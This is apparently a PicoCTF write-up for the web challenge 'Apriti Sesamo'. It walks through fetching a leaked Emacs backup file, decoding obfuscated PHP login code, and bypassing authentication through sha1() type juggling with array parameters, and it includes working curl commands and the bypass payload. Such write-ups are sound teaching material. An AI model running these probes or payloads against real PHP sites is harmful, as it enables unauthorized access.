CTF Write-up: Apriti Sesamo (PicoCTF)
Challenge Information
- Title: Apriti Sesamo
- Description: I found a web app that claims to be impossible to hack! Try it here> http://verbal-sleep.picoctf.net:58281/
- Hint #1: Backup Files
- Hint #2: Rumor has it, the lead developer is a militant emacs user
Summary
The solution involves using the hints to discover a backup file (~
extension) containing the PHP source code for the login page. The source code is obfuscated but reveals a two-step validation process. The vulnerability is a PHP "Magic Hash" or Type Juggling weakness, where the sha1()
function returns NULL
when given an array. By submitting two different arrays for the username and password, we can bypass the initial equality check while making their sha1()
hashes equal, thus triggering the code to read and display the flag from ../flag.txt
.
Step 1: Reconnaissance and Finding the Source Code
The challenge title "Apriti Sesamo" ("Open Sesame") suggests we need to find a secret entrance. The hints provide a clear path:
- Hint #1: Backup Files: This tells us to look for copies of server-side files.
- Hint #2: Militant emacs user: The Emacs text editor is famous for creating backup files by appending a tilde (
~
) to the original filename.
The main functional page is impossibleLogin.php
. Combining the hints, we can guess the backup file's name is impossibleLogin.php~
.
We can download this file using a browser or curl
:
curl http://verbal-sleep.picoctf.net:58281/impossibleLogin.php~
This command downloads the source code of the login page.
Step 2: Analyzing the Obfuscated Source Code
The downloaded file contains the page's HTML and a block of obfuscated PHP code:
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
We need to de-obfuscate the base64_decode()
calls to understand the logic.
base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")
->base64_decode("dXNlcm5hbWU=")
->username
base64_decode("\143\x48\x64\x6b")
->base64_decode("cHdk")
->pwd
base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75")
->base64_decode("Li4vZmxhZy50eHQ=")
->../flag.txt
Rewriting the code with the decoded values gives us a clear picture:
<?php
// Check if 'username' and 'pwd' were submitted
if (isset($_POST['username']) && isset($_POST['pwd'])) {
$username = $_POST['username'];
$password = $_POST['pwd'];
// CHECK 1: Are the username and password equal? (Loose comparison)
if ($username == $password) {
echo "<br/>Failed login. Invalid details.";
} else {
// CHECK 2: Are the SHA1 hashes of the inputs identical? (Strict comparison)
if (sha1($username) === sha1($password)) {
// If so, print the flag
echo file_get_contents('../flag.txt');
} else {
// Otherwise, fail
echo "<br/>Failed! No flag for you";
}
}
}
?>
Step 3: Identifying and Exploiting the Vulnerability
The logic presents a clear challenge: we need to find a username and password that are not equal to each other, but whose SHA1 hashes are identical.
This is a classic PHP Type Juggling vulnerability. The sha1()
function is designed to hash strings. If it receives an array, it does not throw an error but instead returns NULL
.
Our goal is to trigger the sha1($username) === sha1($password)
condition.
- If we supply arrays for both
username
andpwd
, the comparison becomesNULL === NULL
. - The strict comparison
NULL === NULL
evaluates totrue
.
However, we must also bypass the first check: $username == $password
.
If we send two empty arrays (e.g., username[]=
and pwd[]=
), the check [] == []
evaluates to true
, and we get blocked with "Failed login".
The solution is to send two different arrays.
- Let
username
be[]
(an empty array). - Let
pwd
be['any_value']
(an array with content).
In PHP:
[] == ['any_value']
is false, so we bypass the first check.sha1([])
isNULL
.sha1(['any_value'])
is alsoNULL
.- The comparison
NULL === NULL
is true, and the server gives us the flag.
Step 4: Crafting the Final Payload
We can send a POST request with array data using curl
. The []
syntax in the data payload tells PHP to interpret the parameter as an array.
curl 'http://verbal-sleep.picoctf.net:58281/impossibleLogin.php' --data-raw 'username[]=&pwd[]=1'
--data-raw
: Sends the raw data string as the POST body.username[]=
creates an empty array for theusername
parameter.pwd[]=1
creates an array containing the string "1" for thepwd
parameter.
Executing this command sends the correct payload. The server processes it, finds that the sha1()
hashes are strictly equal, and returns the contents of ../flag.txt
.
Comments
Post a Comment